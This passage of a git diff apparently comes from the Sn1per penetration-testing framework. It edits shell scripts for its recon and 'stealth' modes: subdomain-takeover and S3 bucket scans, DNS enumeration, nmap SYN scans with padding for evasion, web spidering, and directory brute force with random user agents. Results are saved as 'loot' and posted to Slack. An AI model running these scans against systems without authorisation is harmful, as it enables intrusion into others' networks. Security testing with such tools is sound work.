$LOOT_DIR/nmap/subover-$TARGET > $LOOT_DIR/nmap/subover-$TARGET.txt 2> /dev/null rm -f $LOOT_DIR/nmap/subover-$TARGET 2> /dev/null diff $LOOT_DIR/nmap/subover_old-$TARGET.txt $LOOT_DIR/nmap/subover-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{$1=""; print $0}' 2> /dev/null > $LOOT_DIR/nmap/subover_new-$TARGET.txt - if [ "$SLACK_NOTIFICATIONS_SUBOVER_NEW" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS_SUBOVER_NEW" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/subover_new-$TARGET.txt" fi cd $INSTALL_DIR fi - if [ "$SUBJACK" = "1" ]; then + if [[ "$SUBJACK" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED STARTING SUBJACK HIJACKING SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" cp $LOOT_DIR/nmap/subjack-$TARGET.txt $LOOT_DIR/nmap/subjack_old-$TARGET.txt 2> /dev/null ~/go/bin/subjack -w $LOOT_DIR/domains/domains-$TARGET-full.txt -t $THREADS -timeout 30 -o $LOOT_DIR/nmap/subjack-$TARGET.txt -a -v diff $LOOT_DIR/nmap/subjack_old-$TARGET.txt $LOOT_DIR/nmap/subjack-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{$1=""; print $0}' 2> /dev/null > $LOOT_DIR/nmap/subjack_new-$TARGET.txt - if [ "$SLACK_NOTIFICATIONS_SUBJACK_NEW" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS_SUBJACK_NEW" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/subjack_new-$TARGET.txt" fi fi - if [ "$SLURP" = "1" ]; then + if [[ "$SLURP" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED STARTING PUBLIC S3 BUCKET SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" cd $PLUGINS_DIR/slurp/ ./slurp-linux-amd64 domain --domain $TARGET | tee $LOOT_DIR/nmap/takeovers-$TARGET-s3-buckets.txt 2>/dev/null - if [ "$SLACK_NOTIFICATIONS_S3_BUCKETS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS_S3_BUCKETS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/takeovers-$TARGET-s3-buckets.txt" fi fi - if [ "$ASN_CHECK" = "1" ]; then + if [[ "$ASN_CHECK" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RETRIEVING ASN INFO $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -183,16 +183,16 @@ if [ "$RECON" = "1" ]; then mv $LOOT_DIR/ips/ips.txt $LOOT_DIR/ips/ips-$TARGET.txt 2> /dev/null cd $INSTALL_DIR 2>/dev/null fi - if [ "$SUBNET_RETRIEVAL" = "1" ]; then + if [[ "$SUBNET_RETRIEVAL" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED STARTING SUBNET RETRIEVAL $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - curl -s -L --data "ip=$TARGET" https://2ip.me/en/services/information-service/provider-ip\?a\=act | grep -o -E '[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}/[0-9]{1,2}' | tee $LOOT_DIR/nmap/subnets-$TARGET.txt - if [ "$SLACK_NOTIFICATIONS_SUBNETS" == "1" ]; then - /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/subnets-$TARGET.txt" + curl -s -L --data "ip=$TARGET" https://2ip.me/en/services/information-service/provider-ip\?a\=act | grep -o -E '[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}/[0-9]{1,2}' | tee $LOOT_DIR/ips/subnets-$TARGET.txt + if [[ "$SLACK_NOTIFICATIONS_SUBNETS" == "1" ]]; then + /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/ips/subnets-$TARGET.txt" fi fi - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per recon scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi fi \ No newline at end of file diff --git a/modes/stealth.sh b/modes/stealth.sh index e1fa49f..c988a02 100644 --- a/modes/stealth.sh +++ b/modes/stealth.sh @@ -1,20 +1,20 @@ # STEALTH MODE ##################################################################################################### -if [ "$MODE" = "stealth" ]; then - if [ "$REPORT" = "1" ]; then +if [[ "$MODE" = "stealth" ]]; then + if [[ "$REPORT" = "1" ]]; then args="-t $TARGET" - if [ "$OSINT" = "1" ]; then + if [[ "$OSINT" = "1" ]]; then args="$args -o" fi - if [ "$AUTOBRUTE" = "1" ]; then + if [[ "$AUTOBRUTE" = "1" ]]; then args="$args -b" fi - if [ "$FULLNMAPSCAN" = "1" ]; then + if [[ "$FULLNMAPSCAN" = "1" ]]; then args="$args -fp" fi - if [ "$RECON" = "1" ]; then + if [[ "$RECON" = "1" ]]; then args="$args -re" fi - if [ ! -z "$WORKSPACE" ]; then + if [[ ! -z "$WORKSPACE" ]]; then args="$args -w $WORKSPACE" LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR $OKBLUE[$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" @@ -31,7 +31,7 @@ if [ "$MODE" = "stealth" ]; then echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running-$TARGET-stealth.txt - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1 @@ -81,19 +81,19 @@ if [ "$MODE" = "stealth" ]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING WHOIS INFO $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$WHOIS" == "1" ]; then - if [ "$VERBOSE" == "1" ]; then + if [[ "$WHOIS" == "1" ]]; then + if [[ "$VERBOSE" == "1" ]]; then echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN whois $TARGET 2> /dev/null | tee $LOOT_DIR/osint/whois-$TARGET.txt 2> /dev/null $RESET" fi whois $TARGET 2> /dev/null | tee $LOOT_DIR/osint/whois-$TARGET.txt 2> /dev/null - if [ "$SLACK_NOTIFICATIONS_WHOIS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS_WHOIS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/osint/whois-$TARGET.txt" fi fi echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING DNS INFO $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$VERBOSE" == "1" ]; then + if [[ "$VERBOSE" == "1" ]]; then echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN dig all +short $TARGET > $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null" echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN dig all +short -x $TARGET >> $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null" echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN dnsenum $TARGET 2> /dev/null | tee $LOOT_DIR/output/dnsenum-$TARGET.txt 2> /dev/null$RESET" @@ -102,14 +102,14 @@ if [ "$MODE" = "stealth" ]; then dig all +short -x $TARGET >> $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null host $TARGET 2> /dev/null | grep address 2> /dev/null | awk '{print $4}' 2> /dev/null >> $LOOT_DIR/ips/ips-all-unsorted.txt 2> /dev/null dnsenum -f $INSTALL_DIR/wordlists/vhosts.txt --noreverse $TARGET 2> /dev/null - mv -f *_ips.txt $LOOT_DIR/domains/ 2>/dev/null + mv -f *_ips.txt $LOOT_DIR/ips/ 2>/dev/null - if [ $SCAN_TYPE == "DOMAIN" ]; + if [[ $SCAN_TYPE == "DOMAIN" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED CHECKING FOR SUBDOMAIN HIJACKING $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$VERBOSE" == "1" ]; then + if [[ "$VERBOSE" == "1" ]]; then echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN cat $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null | egrep -i \"wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp\" | tee $LOOT_DIR/nmap/takeovers-$TARGET.txt 2>/dev/null$RESET" fi cat $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null | egrep -i "wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp" | tee $LOOT_DIR/nmap/takeovers-$TARGET.txt 2>/dev/null @@ -122,18 +122,18 @@ if [ "$MODE" = "stealth" ]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING TCP PORT SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$VERBOSE" == "1" ]; then + if [[ "$VERBOSE" == "1" ]]; then echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN nmap -sS --open -Pn $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml | tee $LOOT_DIR/nmap/nmap-$TARGET.txt$RESET" fi - nmap -sS --open -Pn $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml | tee $LOOT_DIR/nmap/nmap-$TARGET.txt - if [ "$SLACK_NOTIFICATIONS_NMAP" == "1" ]; then + nmap -sS --open --data-length=50 -Pn $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml | tee $LOOT_DIR/nmap/nmap-$TARGET.txt + if [[ "$SLACK_NOTIFICATIONS_NMAP" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/nmap-$TARGET.txt" fi port_80=`grep 'portid="80"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` port_443=`grep 'portid="443"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` - if [ -z "$port_80" ]; + if [[ -z "$port_80" ]]; then echo -e "$OKRED + -- --=[ Port 80 closed... skipping.$RESET" else @@ -142,7 +142,7 @@ if [ "$MODE" = "stealth" ]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED CHECKING HTTP HEADERS AND METHODS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$VERBOSE" == "1" ]; then + if [[ "$VERBOSE" == "1" ]]; then echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN wget -qO- -T 1 --connect-timeout=3 --read-timeout=3 --tries=1 http://$TARGET | perl -l -0777 -ne 'print $1 if /\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-http-$TARGET.txt 2> /dev/null$RESET" echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl --connect-timeout=5 --max-time 3 -I -s -R http://$TARGET | tee $LOOT_DIR/web/headers-http-$TARGET.txt 2> /dev/null$RESET" fi @@ -164,7 +164,7 @@ if [ "$MODE" = "stealth" ]; then echo -e "$OKRED DISPLAYING SITE LINKS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" cat $LOOT_DIR/web/websource-http-$TARGET.txt 2> /dev/null | egrep "\"" | cut -d\" -f2 | grep \/ | sort -u 2> /dev/null | tee $LOOT_DIR/web/weblinks-http-$TARGET.txt 2> /dev/null - if [ "$WAFWOOF" = "1" ]; then + if [[ "$WAFWOOF" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED CHECKING FOR WAF $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -173,7 +173,7 @@ if [ "$MODE" = "stealth" ]; then rm -f $LOOT_DIR/web/waf-$TARGET-http.raw 2> /dev/null echo "" fi - if [ "$WHATWEB" = "1" ]; then + if [[ "$WHATWEB" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING HTTP INFO $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -181,7 +181,7 @@ if [ "$MODE" = "stealth" ]; then sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/whatweb-$TARGET-http.raw > $LOOT_DIR/web/whatweb-$TARGET-http.txt 2> /dev/null rm -f $LOOT_DIR/web/whatweb-$TARGET-http.raw 2> /dev/null fi - if [ "$WIG" = "1" ]; then + if [[ "$WIG" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING SERVER INFO $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -189,42 +189,42 @@ if [ "$MODE" = "stealth" ]; then sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wig-$TARGET-http > $LOOT_DIR/web/wig-$TARGET-http.txt 2> /dev/null rm -f $LOOT_DIR/web/wig-$TARGET-http 2> /dev/null fi - if [ "$WEBTECH" = "1" ]; then + if [[ "$WEBTECH" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING WEB FINGERPRINT $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" webtech -u http://$TARGET | grep \- | cut -d- -f2- | tee $LOOT_DIR/web/webtech-$TARGET-http.txt fi - if [ "$PASSIVE_SPIDER" == "1" ]; then + if [[ "$PASSIVE_SPIDER" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$VERBOSE" == "1" ]; then - echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2018-22-index?url=*.$TARGET&output=json" | jq -r .url | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null$RESET" + if [[ "$VERBOSE" == "1" ]]; then + echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2019-51-index?url=*.$TARGET&output=json" | jq -r .url | egrep -v "null" | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null$RESET" fi - curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2018-22-index?url=*.$TARGET&output=json" | jq -r .url | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null + curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2019-51-index?url=*.$TARGET&output=json" | jq -r .url | egrep -v "null" | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null fi - if [ "$WAYBACKMACHINE" == "1" ]; then + if [[ "$WAYBACKMACHINE" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED FETCHING WAYBACK MACHINE URLS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$VERBOSE" == "1" ]; then + if [[ "$VERBOSE" == "1" ]]; then echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null$RESET" fi curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null fi - if [ "$HACKERTARGET" == "1" ]; then + if [[ "$HACKERTARGET" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED FETCHING HACKERTARGET URLS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - curl -sX GET "http://api.hackertarget.com/pagelinks/?q=http://$TARGET" | tee $LOOT_DIR/web/hackertarget-http-$TARGET.txt 2> /dev/null + curl -sX GET "http://api.hackertarget.com/pagelinks/?q=http://$TARGET" | egrep -v "API count|no links found|input url is invalid|API count|no links found|input url is invalid" | tee $LOOT_DIR/web/hackertarget-http-$TARGET.txt 2> /dev/null echo " " fi - if [ "$BLACKWIDOW" == "1" ]; then + if [[ "$BLACKWIDOW" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING ACTIVE WEB SPIDER $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$VERBOSE" == "1" ]; then + if [[ "$VERBOSE" == "1" ]]; then echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN blackwidow -u http://$TARGET:80 -l 2 $RESET" fi touch $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null @@ -239,18 +239,18 @@ if [ "$MODE" = "stealth" ]; then sort -u $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null > $LOOT_DIR/web/spider-$TARGET.sorted 2>/dev/null mv $LOOT_DIR/web/spider-$TARGET.sorted $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null diff $LOOT_DIR/web/spider-$TARGET.bak $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2}' 2> /dev/null > $LOOT_DIR/web/spider-new-$TARGET.txt - if [ "$SLACK_NOTIFICATIONS_SPIDER_NEW" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS_SPIDER_NEW" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/spider-new-$TARGET.txt" fi fi - if [ "$WEB_BRUTE_STEALTHSCAN" == "1" ]; then + if [[ "$WEB_BRUTE_STEALTHSCAN" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$VERBOSE" == "1" ]; then + if [[ "$VERBOSE" == "1" ]]; then echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_STEALTH -x 400,403,404,405,406,429,502,503,504 -F -e php,asp,aspx,bak,zip,tar.gz,html,htm $RESET" fi - if [ "$DIRSEARCH" == "1" ]; then + if [[ "$DIRSEARCH" == "1" ]]; then touch $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null cp $LOOT_DIR/web/dirsearch-$TARGET.txt $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_STEALTH -x 400,403,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt @@ -259,11 +259,11 @@ if [ "$MODE" = "stealth" ]; then sort -u $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > $LOOT_DIR/web/dirsearch-$TARGET.sorted 2> /dev/null mv $LOOT_DIR/web/dirsearch-$TARGET.sorted $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null diff $LOOT_DIR/web/dirsearch-$TARGET.bak $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2 " " $3 " " $4}' 2> /dev/null > $LOOT_DIR/web/dirsearch-new-$TARGET.txt - if [ "$SLACK_NOTIFICATIONS_DIRSEARCH_NEW" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS_DIRSEARCH_NEW" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/dirsearch-new-$TARGET.txt" fi fi - if [ "$GOBUSTER" == "1" ]; then + if [[ "$GOBUSTER" == "1" ]]; then gobuster -u http://$TARGET -w $WEB_BRUTE_STEALTH -e | tee $LOOT_DIR/web/webbrute-$TARGET-http-stealth.txt sort -u $LOOT_DIR/web/webbrute-$TARGET-*.txt 2> /dev/null > $LOOT_DIR/web/webbrute-$TARGET.txt 2> /dev/null fi @@ -273,23 +273,23 @@ if [ "$MODE" = "stealth" ]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED SAVING SCREENSHOTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ $CUTYCAPT = "1" ]; then - if [ $DISTRO == "blackarch" ]; then + if [[ $CUTYCAPT = "1" ]]; then + if [[ $DISTRO == "blackarch" ]]; then /bin/CutyCapt --url=http://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=5000 2> /dev/null else - if [ "$VERBOSE" == "1" ]; then + if [[ "$VERBOSE" == "1" ]]; then echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN cutycapt --url=http://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=5000 2> /dev/null$RESET" fi cutycapt --url=http://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=5000 2> /dev/null fi fi - if [ $WEBSCREENSHOT = "1" ]; then + if [[ $WEBSCREENSHOT = "1" ]]; then cd $LOOT_DIR python2 $INSTALL_DIR/bin/webscreenshot.py -r chromium http://$TARGET:80 fi fi - if [ -z "$port_443" ]; + if [[ -z "$port_443" ]]; then echo -e "$OKRED + -- --=[ Port 443 closed... skipping.$RESET" else @@ -298,7 +298,7 @@ if [ "$MODE" = "stealth" ]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED CHECKING HTTP HEADERS AND METHODS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$VERBOSE" == "1" ]; then + if [[ "$VERBOSE" == "1" ]]; then echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN wget -qO- -T 1 --connect-timeout=3 --read-timeout=3 --tries=1 https://$TARGET | perl -l -0777 -ne 'print $1 if /\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-https-$TARGET.txt 2> /dev/null$RESET" echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl --connect-timeout=5 --max-time 3 -I -s -R https://$TARGET | tee $LOOT_DIR/web/headers-https-$TARGET.txt 2> /dev/null$RESET" fi @@ -320,7 +320,7 @@ if [ "$MODE" = "stealth" ]; then echo -e "$OKRED DISPLAYING SITE LINKS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" cat $LOOT_DIR/web/websource-https-$TARGET.txt 2> /dev/null | egrep "\"" | cut -d\" -f2 | grep \/ | sort -u 2> /dev/null | tee $LOOT_DIR/web/weblinks-https-$TARGET.txt 2> /dev/null - if [ "$WAFWOOF" = "1" ]; then + if [[ "$WAFWOOF" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED CHECKING FOR WAF $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -329,7 +329,7 @@ if [ "$MODE" = "stealth" ]; then rm -f $LOOT_DIR/web/waf-$TARGET-https.raw 2> /dev/null echo "" fi - if [ "$WHATWEB" = "1" ]; then + if [[ "$WHATWEB" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING HTTP INFO $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -337,7 +337,7 @@ if [ "$MODE" = "stealth" ]; then sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/whatweb-$TARGET-https.raw > $LOOT_DIR/web/whatweb-$TARGET-https.txt 2> /dev/null rm -f $LOOT_DIR/web/whatweb-$TARGET-https.raw 2> /dev/null fi - if [ "$WIG" = "1" ]; then + if [[ "$WIG" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING SERVER INFO $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -345,42 +345,42 @@ if [ "$MODE" = "stealth" ]; then sed -r 